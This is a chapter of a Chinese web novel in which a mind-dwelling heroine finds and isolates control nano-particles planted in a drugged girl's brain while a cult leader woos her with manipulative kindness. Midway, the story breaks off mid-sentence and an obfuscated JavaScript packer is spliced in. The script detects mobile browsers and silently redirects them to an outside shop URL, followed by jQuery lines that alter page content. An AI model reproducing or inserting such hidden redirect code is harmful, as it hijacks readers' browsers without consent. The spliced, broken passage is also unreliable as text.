随着至明的手指按下红色按钮，银白色仪器内部传来一声轻微的机械退档声。


    一秒，两秒。


    那条指向未知坐标的宽阔数据通道在闪烁了一下后，依然保持着静默的待机状态。真正顺着凝胶电极刺入夏雨额头的，只是一股极其短暂、凝练的低频电磁波。


    连映在识海深处微微一愣。这股波段的强度很小，根本无法对神经元造成直接刺激。


    但紧接着，夏雨的机械感知天赋，却向连映反馈了一种冰冷的异物感。


    它不是来自外界，而是来自夏雨的大脑内部。


    那种感觉极其微弱，就像是无数个休眠已久的金属尘埃，突然被这道电磁波唤醒了。它们在夏雨原本错综复杂的神经元之间，产生了一种诡异的共鸣和轻微的震荡。


    连映瞬间警觉起来。这不是正常的血肉之躯人类会有的反应。


    她迅速将自己那经过羁押所极压锻造出的精神感知力提升到极限。她像是一个深夜的潜行者，让自己的精神主意识顺着夏雨那条被异物入侵的神经通路下潜，小心翼翼地探查着那些异物的真面目。


    随着精神力的深入，在极其微观的世界里，连映终于“看”到了它们——


    那是无数个潜伏在夏雨核心记忆区附近的微小异物。它们太小了，甚至几乎要和神经胶质细胞融为一体，即便是连映经过强化后的精神感知，也只能极其勉强地捕捉到它们闪烁的微光。


    随着仪器发出的电磁波不断扫过，这些微小的异物正在疯狂地攀附、分化。它们在连映的精神感知中呈现出一种苍白的金属质感，像是一个个极度微小的蜘蛛，正试图在夏雨原本的脑组织之间，强行编织起一张毫无生气的异物网络。


    只有一种极其高级的、被严禁用于普通人的特殊硬件，才能在不被人察觉的情况下被送入人体，并穿透血脑屏障，潜伏在这个最核心的位置。


    生物纳米神经颗粒。


    作为专业人士，连映瞬间想到了一个最有可能的名词。


    如果是这样，那这台银色仪器发出的也不是改写记忆的信号，而是生物纳米颗粒的“激活指令”。在夏雨躺上这张椅子之前，就已经有人提前动手，将这些致命的种子埋进了她的脑子里。


    自己过来时夏雨就和旁边其他椅子上的人一样失去了意识，这大概也是互助会的人有意为之。连映在识海中感到了直透骨髓的寒意。


    即便夏雨此时醒来，她甚至都不知道自己的大脑在物理层面已经被改造了。


    连映不可能让这张吃人的网络完全控制住夏雨的心智，但她现在也拿它没什么办法。


    精神力是一种纯粹的感应类的力量，至少目前她拿这些已经进入夏雨体内的东西没办法。而且，她不知道夏雨被植入的这些纳米颗粒都有什么作用和设置。它们的苏醒和攀附会导致夏雨脑部的电阻出现极细微的变化，但连映目前对此没有任何办法。


    想了想，连映调动起精神防护网，将其化作一层致密的过滤膜，贴着夏雨原本的记忆中枢外围无声地铺开。


    她没有去对抗那些飞舞的纳米微粒，而是任由它们编织。但当那张冰冷的纳米网试图将触角扎进夏雨核心记忆的神经突触时，全被连映的防护网垫住、隔离。


    在现实物理层面，纳米颗粒的电阻变化依然在继续，仪器的监测屏幕上一切正常。


    但在识海深处，连映悄无声息地将这张已经成型、但并未和夏雨海马体真正建立神经接驳的苍白纳米网，整体从神经中枢上剥离。


    她用精神力包裹着这个被隔离的异物，将其随手扔在了夏雨潜意识里一个毫无用处的废弃角落。


    仪器完成了所有的程序自检，屏幕上弹出绿色的提示框：写入成功。


    就在连映努力对付那些纳米生物微粒的同时，夏雨原本沉睡在识海最底端的自我意识，突然像冲破水面的气泡一样，急剧上浮。


    她不是被机器唤醒的。而是转运车上那剂迷药的药效，终于在此刻开始消退了。


    这具躯壳的主人正在苏醒。如果在这个时候突然睁眼，机器的脑波监测立刻就会出现断崖式的异常波动，至明马上就会发现端倪。


    连映毫不犹豫地分出一缕精神力，赶在夏雨的眼皮产生生理性颤动之前，直接在她的脑海深处接通了意念交流：


    “夏雨，别睁眼。保持现在的呼吸节奏。”


    连映在夏雨意识里传递自己的意念。


    识海中，夏雨刚刚复苏的意识明显瑟缩了一下，带着浓重的鼻音和迷茫，在脑海里虚弱地回应：“……你来了？我的头好沉。这是哪儿……”


    “你失去意识前，最后记得发生了什么？”连映飞快地追问。


    夏雨努力回想自己脑海中最后的记忆：“转运的车上……柳姨说路远山高，怕我颠得难受，给了我一瓶草莓味的营养液。我喝完之后，就觉得特别困……然后就什么都不知道了。”


    被信任的人亲手喂下迷药。


    连映在识海中无声地冷笑了一声，语速极快地向夏雨交底：“营养液里加了料。你现在正躺在互助会内部的一张流线椅上，额头上贴着电极。他们刚才趁你昏迷，试图往你脑子里打一个强制洗脑的开关。”


    夏雨的意识剧烈地颤抖了一下，本能的恐惧几乎要冲破神经表层：“什么？不对，我怎么动不了？他们想干嘛？”


    “别怕，我已经把它隔离了，他们现在以为开关写入得很成功。”连映安抚住她的情绪，迅速交代接下来的对策，“听好，一会你自然地睁开眼睛，装作刚睡醒。不管那个导师说什么，你都表现出该有的害怕和迷茫。顺着他的话往下走，不要揭穿，就当自己真的只是睡了一觉。我在你脑子里盯着他。”


    “……好。我明白了。”


    有了连映兜底，夏雨那原本濒临崩溃的情绪奇迹般地稳住了。她知道柳姨背叛了她，知道互助会是个吃人的魔窟。有了这份真实的认知，她接下来展现出的所有恐惧，都不需要演。


    五秒钟后。


    夏雨极其自然地、睫毛微微颤抖着，缓缓睁开了眼睛。


    视线是一片模糊的琥珀色暖光。她大口喘着粗气，胸膛起伏，额角渗出一层细密的冷汗。她僵硬地转动脖颈，看着周围纯白色的无影墙壁和旁边躺椅上的人，眼神流露出真实的惊恐和茫然，毫无破绽。


    “醒了？”


    一个温和的男声从左侧传来。


    至明就站在夏雨躺的流线椅旁，看到夏雨惊惶的眼神，他脸上没有露出半点意外或心虚，反而极其自然地递过来一杯温热的水。


    “你在转运车上睡得太沉了。”至明的声音舒缓、平稳，带着一种能安抚神经的醇和磁性，“这一路山道实在颠簸，看你太累，大家庭的人就没叫醒你，直接带你来迎新室休息了。”


    夏雨瑟缩了一下，死死盯着他，没有去接那杯水。


    谎言。明明是柳姨下了药，他却能用这么慈悲的语气，把下药绑架说成是体贴的照顾。夏雨的脊背不可抑制地窜起一股寒意。


    至明并不在意她的防备。他温和地笑了笑，将水杯放在一旁。柔软的灰色亚麻衬衫完美地贴合着他宽阔修长的肩背，勾勒出一种极具安全感的稳重轮廓。


    他微微低下头，用一个不具任何攻击性的仰角平视着夏雨。那双深邃好看的深黑色眼眸里没有任何审视的压迫感，只有一种令人极易陷落的包容。


    “你的肌肉还在紧张。”至明微微前倾身体，恰到好处地拉近了物理距离。一种混合着淡淡白茶香的干净男性气息萦绕过来。


    他刻意压低了原本温和的嗓音，带上了一种低音提琴般的共振，语气里透出一丝极具感染力的叹息：“外面的世界太冷了，对吧？在下城区，你只是一件可以随时被明码标价的货物。如果你没有利用价值，你连呼吸都是错的。”


    夏雨的眼眶红了。这句直戳软肋的话，配合着她刚刚得知柳姨背叛的绝望，让她生出了一种极其真实的悲哀。


    “我知道你心里还有很深的防备。”至明看着夏雨的眼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17395352|195441||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    睛，语气坦荡得没有任何闪躲，“你在碎铁帮那里受了极大的委屈，甚至面临生命危险。而大家庭为了在下城区维持这片避难所的运转，确实和他们有一些不可避免的交集。”


    夏雨浑身微微一震，错愕地抬起头。


    “你是个聪明的孩子，把对暴徒的恨意和警惕转移到我们身上，这再正常不过了。如果换作是我，我也一样会害怕。”


    至明的眼神里流露出一丝恰到好处的心疼。他修长干净的手指微微抬起，轻轻将夏雨耳边的一缕被冷汗浸湿的碎发拨到耳后。


    这个动作的分寸拿捏得极好，只有纯粹的安抚，距离感有些过分亲近，却没有半点让人反感的越界。配合着他指尖传来的温热，让夏雨僵硬的脖颈不自觉地放松了些许。


    “我不想用空洞的语言向你解释什么大局，或者大家庭的苦衷。语言在这个残酷的世界里太廉价了。”至明微微垂下眼眸，深邃精致的轮廓在柔和的无影光下显得格外真诚，“我也不要求你现在就立刻相信我。我只希望你能在这里安心住下，用你自己的眼睛去看，用你的心去感受。”


    他伸出手，轻轻拍了拍夏雨还在微微发抖的肩膀。掌心的温度带着一种令人眷恋的暖意。


    “在大家庭里，家人们互相关爱，互相帮助。在这里，人爱人，神爱人，不是因为人能创造多少算力，或者能提炼多少能量，只是因为你在这里。不管你过去是小偷、骗子，还是被所有人抛弃的孤儿。只要你走进这扇门，你就是大家庭不可或缺的一部分。”


    夏雨死死咬着下唇，两行眼泪忍不住顺着脸颊砸了下来。


    连映在识海深处安静地看着这一切。这套话术配合上这个男人完美的外形与气质，如果不是提前知道了营养液和洗脑机器的真相，任何一个走投无路的底层人，都会在这股密不透风的温暖包围下彻底沦陷。


    看着夏雨泪流满面的模样，至明站起了身。


    他恰到好处地迎着头顶柔和的光线，让那张儒雅英俊的脸庞笼罩在一层神圣的光晕里，脸上的笑容真实而温暖，好似天上降下的神使般光辉灿烂。


    “欢迎回家，小雨。”


    他抬起手，打了一个清脆的响指。


    “啪。”


    随着响指声，夏雨周围那个纯白色的环形墙壁，突然发出一阵轻微的机械运转声。


    那四面墙壁实际上是巨大的智能遮光屏幕。屏幕瞬间褪去伪装，变得彻底透明，随后缓缓向两侧滑开。


    夏雨下意识地抬起手挡住眼睛。


    墙壁退去，她发现自己身处一个庞大、明亮的室内中庭正中央。


    穹顶是全透明的防弹玻璃，清晨的第一缕模拟阳光带着金黄色的光晕，倾泻在这个种满了绿色植物的广场上，空气中飘荡着面包烤熟的甜香。


    这个场景一看就是全息投影模拟的，但是阳光灿烂的美景确实会让人不由得心情放松起来。连映这么想着，又立刻提醒自己提高警惕。


    随着全息场景亮起来，几十个人影闪现出来，穿着整洁浅色居家服的真人，都是夏雨在互助会里见过的面孔。这些陌生的男女老少将她围在中央，脸上看不到下城区标志性的麻木和戾气，每一个人的眼神都明亮、健康，充满生机。


    人群中一个看起来像慈祥祖母的老人，带头鼓起了掌。


    紧接着，掌声如潮水般蔓延开来。这上百个人看着流泪的夏雨，脸上洋溢着热烈的笑容。他们整齐划一地鼓着掌，嘴里轻轻哼唱着刚才房间里播放过的那首空灵旋律。


    夏雨呆呆地坐在椅子上，在这震耳欲聋的掌声和温暖的阳光中，感受着一种前所未有的视觉与听觉冲击。


    而在夏雨识海最深处的黑暗角落里，连映的主意识安静地蛰伏着。


    她透过夏雨的视觉神经，看着这上百个笑容标准、眼神明亮的人群，看着倾泻而下的温暖阳光。而在人群的最外围阴影处，那台刚刚对夏雨执行过脑部控制程序的银白色球形仪器，正立在那里，指示灯安静地闪烁着微弱的蓝光。